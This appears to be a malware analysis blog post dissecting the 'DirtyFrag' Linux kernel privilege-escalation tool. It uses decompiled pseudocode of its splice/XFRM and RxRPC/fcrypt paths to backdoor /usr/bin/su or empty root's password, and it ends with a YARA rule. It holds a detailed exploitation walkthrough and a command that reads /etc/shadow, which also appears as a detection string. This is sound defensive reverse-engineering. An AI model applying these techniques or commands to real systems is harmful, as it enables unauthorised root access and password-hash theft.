Analysis of DirtyFrag (Vulnerability)
Summary
- The file performs a ton of functions
- It also gives the whole process architecture what and how it is being perfumed with the stages
- It deploys a lot of different evasion techniques
- The sample also gives what type of encryption is being used
- It also shows the corrupted function
Analysis of the ELF file
The Process
polkitd(/usr/libexec/polkitd) — this is normally a legitimate Linux PolicyKit daemon, but here it's being impersonated or abused by malware- Run as root with
--no-debugflag
What It’s Doing
Reading sensitive credential files:
- Accessing
/etc/passwd— contains user account information - Accessing
/etc/shadow— contains hashed passwords (highly sensitive) - This maps to MITRE ATT&CK T1003.008 — OS Credential Dumping: /etc/passwd and /etc/shadow
The Goal
The malware is attempting to steal credentials by reading Linux password files, likely to:
- Crack password hashes offline
- Identify user accounts for lateral movement
- Escalate privileges or persist on the system
Figure 1 — Helper Functions
write_proc(arg1, arg2)
- Opens a file, writes data to it, closes it
- A utility used to write to
/procfilesystem entries — key for namespace manipulation
setup_userns_netns()
- Calls
getuid()andgetgid()— gets current user/group IDs - Calls
unshare(0x50000000)— creates new user + network namespaces - This is the core privilege escalation primitive
Figure 2 — UID/GID Remapping
write_proc("/proc/self/setgroups", "deny")
write_proc("/proc/self/uid_map", "0 <uid> 1")
write_proc("/proc/self/gid_map", "0 <gid> 1")This is the classic unprivileged user namespace UID mapping trick:
- Denies
setgroupsfirst (required by kernel) - Maps the current unprivileged user → UID 0 (root) inside the namespace
- Maps current GID → GID 0 (root) inside the namespace
The process now thinks it’s root inside its namespace.
Figure 3 — Network Namespace Setup
c
strncpy(&var_88, "lo", 0x10)
ioctl(fd, 0x8913, &var_88) // SIOCGIFFLAGS
var_78_1 = var_78 | 0x41 // IFF_UP | IFF_LOOPBACK- Opens a socket in the new network namespace
- Uses
ioctl SIOCGIFFLAGSto get loopback interface flags - Sets
IFF_UP(0x41) — brings up the loopback interface - Establishes a functional network namespace for the exploit to operate in
The Full Attack Chain
unshare() new namespace
↓
Map UID/GID → root (0) inside namespace
↓
Set up network namespace with loopback
↓
Exploit kernel from "root" context (DirtyFrag)
↓
Read /etc/passwd + /etc/shadowDeep Exploit Mechanics Analysis
This reveals the actual kernel exploitation technique. This is sophisticated.
Figures 1 & 2 — add_xfrm_sa() — IPsec Kernel Object Manipulation
This constructs a XFRM Security Association (kernel IPsec subsystem):
c
inet_addr("127.0.0.1") // source/dest addresses
htonl(arg1) // SPI (Security Parameter Index)
buf_1[0x12] = 0x32 // protocol
*buf_1 = 0xf0 // XFRM policy typeCrypto algorithms being set:
c
strncpy("hmac(sha256)") // authentication algorithm
strncpy("cbc(aes)") // encryption algorithm
0x1194 → port 4500 // IPsec NAT-T porWhy this matters:
- XFRM SA objects are kernel-allocated structures
- By carefully crafting them with specific sizes and fields, the exploit is grooming the kernel heap
- Setting up controlled objects at predictable memory locations
Figure 3 — do_one_write() — Socket + Pipe Setup
c
socket(2, 2, 0) // UDP socket
setsockopt(..., 0x11, 0x64) // IP_TTL = 100
bind("127.0.0.1", port 4500) // bind to IPsec portThis creates the trigger mechanism for the kernel vulnerability.
Figure 4 — The Actual DirtyFrag Exploit
This is the heart of it:
c
vmsplice(fd, &iov, 1, 0) // splice user memory into pipe
splice(fd_in, &off_in, // splice between file descriptors
fd_out, len: 0x10)
splice(fd_54, nullptr, // final splice with offset manipulation
fd_10, len: 0x28)
usleep(0x249f0) // timing delay (~150ms)What splice/vmsplice abuse means:
The DirtyFrag vulnerability abuses how the kernel handles page cache fragmentation during splice operations:
vmsplice → injects controlled data into pipe buffer
↓
splice with crafted offset (arg2 = loff_t)
↓
Kernel writes to WRONG page due to fragmentation bug
↓
Overlaps with XFRM SA object on heap
↓
Controlled overwrite of kernel struct = code executionFull Exploit Chain Summary
User namespace → fake root
↓
Heap spray with XFRM SA objects (known size/layout)
↓
vmsplice + splice with crafted offsets
↓
Kernel heap corruption via page fragmentation
↓
Overwrite kernel struct → privilege escalation
↓
Read /etc/shadow as real rootThis is the final stage — where the exploit actually delivers its payload.
Figure 1 — Heap Spray with Shell ELF
c
setup_userns_netns()
usleep(0x186a0) // wait ~100ms for namespace setupThen a loop i = 0 to 0x2f (48 iterations):
c
uint32_t rcx_3 =
zx.d(*(sx.q(i << 2) + &shell_elf)) << 0x18
| zx.d(*(sx.q((i << 2) + 1) + &shell_elf)) << 0x10
| zx.d(*(sx.q((i << 2) + 2) + &shell_elf)) << 8This is reassembling bytes from &shell_elf — an embedded ELF binary stored inside the malware, being reconstructed word-by-word in memory.
Then:
c
add_xfrm_sa(i - 0x215241f0, rcx_3)- Sprays 48 XFRM SA kernel objects
- Each encodes a chunk of the shell ELF data
- Offset
0x215241f0is a calculated kernel heap target address - Log:
"[su] installed 48 xfrm SAs"
Figure 2 — Overwriting /usr/bin/su
c
do_one_write("/usr/bin/su", rax_40, i - 0x215241f0)Loops 48 times writing to /usr/bin/su:
- Uses the splice corruption from before to write at precise offsets
- Overwrites the real
subinary with the embedded shell ELF - Log:
"[su] wrote 0xc0 bytes to /usr/bin/su starting at 0x0"What This Means — The Complete Picture
Embed malicious ELF inside malware binary
↓
Reconstruct it byte-by-byte in memory
↓
Spray kernel heap with XFRM SA objects containing ELF chunks
↓
Use DirtyFrag splice exploit to write to /usr/bin/su
↓
/usr/bin/su is now a BACKDOOR
↓
Any user running "su" executes attacker's codesu_lpe_main() — The Exploit Orchestrator
This is the main controller that ties everything together.
Figure 1 — Entry Point & Fork
c
strcmp(arg, "-v") || strcmp(arg, "--verbose") // verbose flag
getenv("DIRTYFRAG_VERBOSE") // or env variableThe exploit literally names itself — DIRTYFRAG_VERBOSE confirms this is the DirtyFrag CVE exploit.
c
_t pid = fork()
if (pid == 0) // child process
if (corrupt_su() != 0)
status = 2 // exploitation failed- Forks a child to run the exploit
- Parent watches child’s exit status
- Clean separation so parent survives if child crashes the kernel
Figure 2 — Verification Stage
c
verify_byte("/usr/bin/su", 0x78, 0x31)
verify_byte("/usr/bin/su", 0x79, 0xff)Checks specific bytes at offsets 0x78–0x79 in /usr/bin/su — these are the shellcode entry bytes it expects to have written. This is the exploit confirming:
"[su] /usr/bin/su page-cache patched (entry 0x78 = shellcode)"Key detail: “page-cache patched” — it’s modifying the kernel’s page cache, not the actual disk file. This means:
ls -lashows original file untouchedsha256sumpasses- Only processes loading
/usr/bin/suinto memory get the backdoored version - Extremely stealthy — filesystem forensics won’t catch it
Figure 3 — do_unshare_userns_netns()
c
unshare(0x50000000) // CLONE_NEWUSER | CLONE_NEWNET
// Logs: "[+] unshare(USER|NET) OK, real uid=%u"write_file("/proc/self/setgroups", "deny")
write_file("/proc/self/uid_map", "%u %u 1") // map to root
write_file("/proc/self/gid_map", "%u %u 1") // map to rootSame namespace escalation as before but now with full logging showing the real flow.
Figure 4 — Network Namespace + Capability Gain
c
// Logs: "[+] uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns"
fd = socket(2, 2, 0)
var_48 = 0x6f6c // "lo" in hex (loopback interface name)
ioctl(fd, 0x8913) // SIOCGIFFLAGS - get interface flags
ioctl(fd, 0x8914) // SIOCSIFFLAGS - set interface flags (IFF_UP | 0x41)
// Logs: "[+] lo brought UP in new netns"Gaining CAP_NET_RAW inside the namespace is critical — it's what allows the XFRM/IPsec socket operations used in the heap spray.
Complete Orchestration Flow
su_lpe_main()
↓
Parse args / check DIRTYFRAG_VERBOSE env
↓
fork() — isolate exploit in child
↓
do_unshare_userns_netns()
→ New USER+NET namespace
→ Map UID/GID → root
→ Gain CAP_NET_RAW
→ Bring up loopback
↓
corrupt_su()
→ Spray 48 XFRM SA objects (heap grooming)
→ vmsplice + splice (DirtyFrag trigger)
→ Overwrite /usr/bin/su PAGE CACHE
↓
verify_byte() — confirm shellcode landed
↓
Parent reaps child, reports success/failureThis is a second exploitation vector — abusing the kernel’s cryptographic and RPC subsystems.
Figure 1 — build_rxrpc_v1_token()
c
rax_1 = time(nullptr) // current timestamp
*arg1 = htonl(0) // token header
memcpy(&arg1[2], "evil", ...) // literally embeds "evil" as token name
*(var_10_3 + 0x14) = SESSION_KEY // injects session key
var_10_3[8] = htonl(rax_1 + 0x15180) // expiry = now + 86400s (24hrs)
memset(&var_10_3[0xb], 0xcc, 8) // fill with 0xCC (int3 / debug bytes)Crafting a fake RxRPC v1 authentication token:
- Named literally
"evil" - Contains a controlled
SESSION_KEY 0xCCbytes are classic shellcode padding / trap bytes- 24-hour expiry so the token stays validFigures 2 & 3 —
add_rxrpc_key()+alg_open_pcbc_fcrypt()
c
key_add("rxrpc", arg1, &var_218, ...) // inject fake key into kernel keyringAdds the malicious token directly into the kernel keyring — persistent across the session.
Then opens crypto socket:
c
socket(0x26, 5, 0) // AF_ALG socket
strncpy("skcipher") // symmetric cipher type
strcpy("pcbc(fcrypt)") // PCBC mode with fcrypt algorithm
bind(AF_ALG, "pcbc(fcrypt)") // bind to kernel crypto API
setsockopt(0x117, ALG_SET_KEY, arg1, 8) // set encryption keypcbc(fcrypt) is AFS/RxRPC's encryption — this is specifically targeting the AFS filesystem crypto in the kernel.
Figure 4 — alg_op() — Crypto Control Message Abuse
c
struct msghdr var_a8
msg_control = &var_68
msg_controllen = 0x38// First cmsghdr:
cmsg_level = 0x117 // SOL_ALG
cmsg_type = 3 // ALG_SET_OP
cmsg_len = 0x14// Second cmsghdr:
cmsg_type = 2 // ALG_SET_IV
cmsg_len = 0x1cSending crafted control messages to the kernel crypto API:
- Sets operation type (encrypt/decrypt)
- Injects a controlled IV
- This is abusing
AF_ALG(kernel crypto API socket) to manipulate kernel crypto state
Figure 5 — setup_rxrpc_client()
c
socket(0x21, 2, 2) // AF_RXRPC socket
setsockopt(0x110, SECURITY_KEY, arg2) // bind fake "evil" key
setsockopt(0x110, MIN_SECURITY_LEVEL, 1) // set security levelCreates an RxRPC client socket using the injected fake key — the kernel now uses the attacker-controlled crypto material for RxRPC operations.
Figure 6 — rxrpc_client_initiate_call()
c
sendmsg(fd, &msg, 0)
// "[+] client sendmsg %zd B"
// "[+] client sendmsg returned EAGAIN (expected; kernel will keep retrying handshake)"Initiates an RxRPC call that triggers the kernel to retry the handshake — the EAGAIN is expected and intentional, forcing the kernel into a retry loop using the malicious crypto key material.
Why This Second Vector?
Primary path: DirtyFrag → splice/vmsplice → page cache overwrite
(may fail on patched kernels)
Secondary path: AF_RXRPC + AF_ALG abuse
↓
Inject fake "evil" token into kernel keyring
↓
Bind pcbc(fcrypt) crypto with controlled key/IV
↓
Force kernel handshake retry with malicious crypto material
↓
Trigger crypto subsystem memory corruption
↓
Alternative route to kernel code executionThis is the synchronized attack orchestrator that times and fires the kernel corruption.
Figure 1 — setup_udp_server()
c
socket(2, 2, 0) // UDP socket
var_28:4.d = htonl(0x7f000001) // 127.0.0.1
bind(fd, &var_28, port: arg1)
// "[+] plain UDP fake-server bound :%u"Sets up a fake UDP server on loopback — this is the receiver side that will catch the kernel’s RxRPC handshake packets, completing the loop needed to trigger the vulnerability.
Figure 2 — do_one_trigger() — Sequenced Attack
c
trigger_seq++
snprintf(&s, "evil%d", trigger_seq) // "evil1", "evil2", "evil3"...
add_rxrpc_key(&s) // inject sequenced fake keysInjects multiple numbered fake keys into the kernel keyring — this is heap grooming, placing controlled objects at predictable locations.
Get Shubho57’s stories in your inbox
Join Medium for free to get updates from this writer.
c
rax_8 = trigger_seq * 2
port = (rax_8 % 0xc8).w + 0x1e61 // rotates through port range
setup_udp_server(port) // bind fake server on calculated portPort cycling: 0x1e61 = port 7777, rotating through 200 ports — avoids port conflicts across multiple trigger attempts.
Figure 3 — Race Condition + Checksum Exploit
c
for (i = 0; i <= 3; i++)
udp_recv_to(rax_14, &var_878, 0x800, &var_8f8, timeout: 0x1f4)
break // wait for kernel's handshake packetWaits for the kernel to send a UDP packet during the RxRPC handshake — synchronization point for the race condition.
c
compute_csum_iv(rax_46, rax_49, 2, &SESSION_KEY, &var_890)c
compute_cksum(rax_49, rax_52, 1, &SESSION_KEY, &var_890, &x)Two checksum computations using the injected SESSION_KEY:
compute_csum_iv— computes IV for the crypto operationcompute_cksum— computes the actual fcrypt checksum
And critically:
c
syscall(0xfa, 3, rax_1) // sys_exit_group on failureIf the trigger fails — kills the entire process group cleanly, no traces.
The Full Trigger Flow
do_one_trigger()
↓
Inject "evil1" key into kernel keyring
↓
Bind fake UDP server on calculated port
↓
rxrpc_client_initiate_call() → kernel starts handshake
↓
Wait for kernel's UDP handshake packet (race window)
↓
compute_csum_iv() ← controlled SESSION_KEY
compute_cksum() ← controlled SESSION_KEY
↓
Kernel processes forged checksum response
↓
fcrypt crypto routine corrupts kernel memory
↓
Heap object overlaps with XFRM SA spray
↓
Code executionThis is something different and very sophisticated — the malware contains its own cryptanalysis engine to crack fcrypt keys.
Figure 1 — fcrypt_user_setkey() — Key Schedule Implementation
c
var_10_15 = (((
(zx.q(*arg2 u>> 1) << 7 | zx.q(arg2[1] u>> 1)) << 7
| zx.q(arg2[2] u>> 1)) << 7
| zx.q(arg2[3] u>> 1)) << 7 ...This is a bitwise key schedule — rotating and shifting 8 bytes of key material, then:
c
*arg1 = __bswap_32(var_10_15.d)
rax_38 = (0xffe000000000 & var_10_15 << 0x2d) | var_10_15 u>> 0xb
arg1[1] = __bswap_32(rax_38.d)
// repeats 6 more times with cascading rotationsImplementing the actual fcrypt key schedule — 7 rounds of rotate-and-mask operations with byte swapping. This is the exact algorithm used by the Linux kernel’s pcbc(fcrypt) — they've reimplemented it in userspace to brute-force keys offline.
Figure 2 — find_K_offline_generic() — Brute Force Loop
c
var_a0 = fc_splitmix64(&var_b0) // PRNG — generate candidate key
fcrypt_user_setkey(&var_98, &var_a0) // expand candidate key
fcrypt_user_decrypt(&var_98, &var_a8, arg1) // try decrypting known ciphertextif (arg3(&var_a8) != 0)
break // found it — checksum matches!Classic known-plaintext brute force:
- Generate random key candidate via SplitMix64 PRNG
- Expand it through the fcrypt key schedule
- Decrypt the captured ciphertext
- Check if result passes the checksum validator
- Repeat until match
Performance logging:
c
clock_gettime(CLOCK_MONOTONIC, &tp)
double speed = zmm0_2 / var_48_1 / 1000000.0
// "[%s %.1fs] iter=%lu (%.2fM/s)"Tracks millions of keys per second — this is a high-performance cracking loop using AVX-512 (zmm registers = 512-bit SIMD).
Figure 3 — Key Found + Full Output
c
var_120_1 = var_a8.b u<= 0x1f || var_a8.b u> 0x7e ? 0x2e : zx.d(var_a8.b)
// replace non-printable bytes with '.'When key is found:
"[+] %s found after %lu iters in %.2fs (%.2fM/s) K="
"%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x"
"%02x %c%c%c%c%c%c%c%c"Prints:
- K= the recovered key bytes (hex)
- P= the decrypted plaintext bytes (hex)
- ASCII representation of plaintext
Uses zmm (AVX-512) registers throughout for vectorized parallel key testing.
What This Means — The Full Attack
RxRPC handshake → capture encrypted packet
↓
Extract ciphertext from pcbc(fcrypt) encrypted data
↓
find_K_offline_generic()
→ fc_splitmix64() generates candidates
→ fcrypt_user_setkey() expands each
→ fcrypt_user_decrypt() tests each
→ AVX-512 SIMD accelerates throughput
↓
Recover SESSION_KEY from RxRPC handshake
↓
Use recovered key to forge auth tokens
↓
Authenticate as any AFS/RxRPC user on the systemWhy fcrypt Is Weak Enough To Crack
fcrypt uses 56-bit effective key space — same weakness as DES. With AVX-512 doing parallel operations at tens of millions of keys/second, the full keyspace is exhaustible in hours to days on modern hardware.
This is the full end-to-end payload delivery — the most damning code yet.
Figure 1 — /etc/passwd Page Cache Mapping
c
// "[+] mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)"
if (memcmp(rax_33, "root::0:0", 9) == 0)
// "[+] /etc/passwd already patched (root::0:0...)"
return 0mmaps /etc/passwd directly from page cache — checks if already patched. If root::0:0 is already there, job's done.
c
// "[+] /etc/passwd line 1 first 16 bytes:"
// prints hex dump of current root entry
// "[*] /etc/passwd line 1 (root entry) BEFORE: '"Logs the before state for verification.
Figure 2 — Byte Sanitization
c
r13_3 = var_1ed u<= 0x1f || var_1ed u> 0x7e ? 0x2e : zx.q(var_1ed)
// replace non-printable with '.'
// "[+] Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x %c%c%c%c%c%c%c%c"Printing corruption candidates with hex + ASCII — tracking exactly which bytes are being modified at each position.
Figure 3 — Staged Attack Initialization
c
fcrypt_user_decrypt(&var_16c8, &var_1290, &var_1288)
// "[+] fcrypt selftest OK"var_50_1 = 0x2540be400 // 10 billion iterations max
getenv("LPE_MAX_ITERS") // or override via env
getenv("LPE_SEED") // controllable PRNG seedvar_58_1 = getpid() ^ (time() * 0x100000001) // random seed"=== STAGE 1a: search K_A (chars 4-5 := "::") prob ~1.5e-5 ==="Multi-stage keysearch begins — searching for specific key bytes that will corrupt /etc/passwd chars 4-5 to "::".
Figure 4 — Stage 1c + Predicted Output
"=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:") prob ~5.4e-8 ==="c
find_K_offline_generic(&var_230, var_50_1,
fc_check_pc_nullok, // validator: checks for null password
&var_218, &var_220,
0x5a5a5a5a5a5a5a5a ^ var_58_1,
&data_40b199)
// "[!] K_C search exhausted""[+] Predicted post-corruption /etc/passwd line 1:\n"root"Predicts exactly what /etc/passwd will look like after corruption — root with no password field.
Figure 5 — Staged Kernel Triggers
"=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 "::") ==="
SESSION_KEY = var_1f8
do_one_trigger(fd_3, var_b4_1, 8)
// "[!] kernel trigger A failed""=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 "0:") ==="
SESSION_KEY = var_208"=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 "0:GGGGGG:") ==="Three sequential kernel triggers, each writing specific characters into /etc/passwd via the page cache exploit:
- Trigger A → writes
::at chars 4-5 - Trigger B → writes
0:at chars 6-7 - Trigger C → writes
0:GGGGGG:at chars 8-15
Combined result: root::0:0:GGGGGG:/root:/bin/bash — root with no password.
Figure 6 — After State Verification
"[*] /etc/passwd line 1 (root entry) AFTER: '"Logs the post-corruption state to confirm the write landed correctly.
Figures 7 & 8 — Independent Verification via getent
c
pipe(&fd)
fork()
// child:
dup2(fd_1, 1) // redirect stdout
dup2(fd_1, 2) // redirect stderr
execlp("getent", "getent", "passwd", "root", 0)// parent:
read(fd, &var_16c8, 0x3ff)
waitpid(pid, &stat_loc_1, 0)
// "[getent passwd root] %s"Spawns getent passwd root — queries NSS (Name Service Switch) to independently verify the corruption worked through the system's normal auth stack.
"[+] PRIMITIVE proven: root entry has empty passwd field via NSS."Confirms via NSS that root now has no password — the system’s own auth infrastructure agrees.
c
getenv("DIRTYFRAG_CORRUPT_ONLY") // stop here if set
getenv("--corrupt-only") // or via CLI flagOperator can choose to stop at corruption without spawning a shell.
Figure 9 — Stage 4: Root Shell
"=== STAGE 4: spawning interactive root shell via `su` (no password input needed) ==="fd_4 = posix_openpt(0x102) // allocate pseudoterminal
grantpt(fd_4) // grant PTY access
unlockpt(fd_4) // unlock PTY
ptsname(fd_4) // get PTY device nameioctl(0, TIOCGWINSZ, &var_238) // get terminal window size
ioctl(fd_4, TIOCSWINSZ, &var_238) // set same size on PTYfork()Opens a pseudoterminal and forks — preparing to spawn an interactive root shell through the now-passwordless su.
Figures 10 & 11 — Shell I/O Loop + Final Payload
c
getenv("LPE_AUTO_VERIFY") // auto-run commands flagwhile (true)
poll(fds_1, ...) // poll PTY for I/Oc
__builtin_strcpy(&var_16c8,
"id; whoami; cat /etc/shadow | head -2; exit\n")
write(fd_4, &var_16c8, 0x2c)Auto-executes in the root shell:
bash
id; whoami; cat /etc/shadow | head -2; exitid— confirm UID=0whoami— confirm rootcat /etc/shadow | head -2— steal root + first user's password hashesexit— clean exit
The Complete rxrpc_lpe_main() Kill Chain
mmap /etc/passwd page cache
↓
fcrypt selftest → confirm crypto works
↓
STAGE 1: Offline key search (find K_A, K_B, K_C)
→ Keys that corrupt specific byte positions
↓
STAGE 2: Three kernel triggers (A→B→C)
→ Write "::" "0:" "0:GGGGGG:" into page cache
→ /etc/passwd root entry: password field → EMPTY
↓
STAGE 3: getent passwd root → verify via NSS
→ "PRIMITIVE proven: root entry has empty passwd"
↓
STAGE 4: posix_openpt → PTY → fork → su
→ No password needed → root shell
↓
Auto-execute: id; whoami; cat /etc/shadow
→ Exfiltrate shadow hashesThe Elegance of This Attack
The entire /etc/passwd corruption happens only in the kernel page cache — the file on disk is never touched. The exploit mathematically calculates exactly which fcrypt keys will produce the right ciphertext to overwrite specific character positions, then uses the RxRPC kernel trigger to land those bytes precisely. It's not brute forcing the filesystem — it's surgically crafting cryptographic keys that produce a desired plaintext output at exact memory offsets.
This is the entry point that ties the entire exploit together.
Figure 1 — Patch Detection Functions
su_already_patched()
c
fd = open("/usr/bin/su", O_RDONLY)
pread(fd, &buf, 8, offset: 0x78) // read 8 bytes at offset 0x78
memcmp(&buf, &su_marker, 8) == 0 // check for shellcode markerChecks if /usr/bin/su page cache is already backdoored — skips re-exploitation if so.
passwd_already_patched()
c
open("/etc/passwd", O_RDONLY)
// checks for "root::0:0"Checks if /etc/passwd is already corrupted — idempotent design, safe to run multiple times.
Figure 2 — main() Argument Parsing
c
getenv("DIRTYFRAG_VERBOSE") // verbose mode// CLI flags:
"--force-esp" // force ESP exploit path
"--force-rxrpc" // force RxRPC exploit path
"-v" / "--verbose" // verbose outputTwo exploit paths selectable by operator:
--force-esp→ uses the splice/vmsplice (DirtyFrag) path--force-rxrpc→ uses the RxRPC/fcrypt crypto path
Figure 3 — The Decision Tree
c
if (var_24_1 s> 2)
break // max retries exceededresult = rxrpc_lpe_main(var_3c, var_30) // try RxRPC path
var_24_1 += 1 // increment attempt counterelse
result = su_lpe_main(var_3c, var_30) // try su/splice pathRetry loop — tries up to 3 times, alternating between exploit paths.
c
rax_45 = either_target_patched() // check if EITHER attack succeededSingle function checking both /usr/bin/su and /etc/passwd — if either is patched, the exploit succeeded.
c
if (rax_45 != 0)
run_root_pty() // spawn root shell
return 0 // clean exitdprintf(2, "dirtyfrag: failed (rc=%d)\n", result) // stderrif (result == 0)
return 1
return resultThe Complete Top-Level Flow
main()
↓
Parse: --force-esp / --force-rxrpc / --verbose
↓
Check: su_already_patched() || passwd_already_patched()
→ if yes: skip straight to run_root_pty()
↓
Retry loop (up to 3 attempts):
├── rxrpc_lpe_main() ← RxRPC/fcrypt crypto path
└── su_lpe_main() ← DirtyFrag splice path
↓
either_target_patched()
→ /usr/bin/su backdoored?
→ /etc/passwd root::0:0?
↓
run_root_pty() ← interactive root shell
→ id; whoami; cat /etc/shadowConclusion
This sample is a sophisticated, multi-stage Linux kernel Local Privilege Escalation tool explicitly named DirtyFrag, targeting Ubuntu 22 systems. It is not a proof-of-concept — it is a weaponized, operator-controlled attack toolkit with dual exploitation paths, built-in retry logic, stealth page-cache-only persistence, and automated credential harvesting. The level of engineering — AVX-512 accelerated cryptanalysis, precise heap grooming, mathematically derived corruption keys — indicates a skilled, well-resourced threat actor
MITRE ATT&CK
IOCs
YARA Rule
rule DirtyFrag_Linux_LPE {
meta:
description = “Detects DirtyFrag Linux kernel LPE exploit”
author = “Subhankar H.”
date = “2026–05–26”
hash_md5 = “B45D5231F47699827D1D0CD0FF04F9C32”
severity = “CRITICAL”
os = “Linux”
strings:
// Operator environment variables
$env1 = “DIRTYFRAG_VERBOSE” ascii
$env2 = “DIRTYFRAG_CORRUPT_ONLY” ascii
$env3 = “LPE_MAX_ITERS” ascii
$env4 = “LPE_SEED” ascii
$env5 = “LPE_AUTO_VERIFY” ascii
// Kernel keyring token names
$token = “evil%d” ascii
// Exploit stage markers
$stage1 = “STAGE 1a: search K_A” ascii
$stage2 = “STAGE 2a: kernel trigger A” ascii
$stage3 = “PRIMITIVE proven: root entry has empty passwd” ascii
$stage4 = “STAGE 4: spawning interactive root shell” ascii
// Crypto subsystem abuse
$crypto1 = “pcbc(fcrypt)” ascii
$crypto2 = “hmac(sha256)” ascii
$crypto3 = “add_xfrm_sa” ascii
// Credential harvesting command
$cmd = “id; whoami; cat /etc/shadow | head -2; exit” ascii
// XFRM spray log
$xfrm = “[su] installed %d xfrm SAs” ascii
// Patch check strings
$patch1 = “/usr/bin/su” ascii
$patch2 = “root::0:0” ascii
condition:
uint32(0) == 0x464C457F // ELF magic
and (
( 3 of ($env*) )
or ( $stage1 and $stage2 )
or ( $stage3 and $stage4 )
or ( $cmd )
or ( $xfrm and $crypto1 )
or ( $token and $patch2 )
)
}
Happy Reading!!!









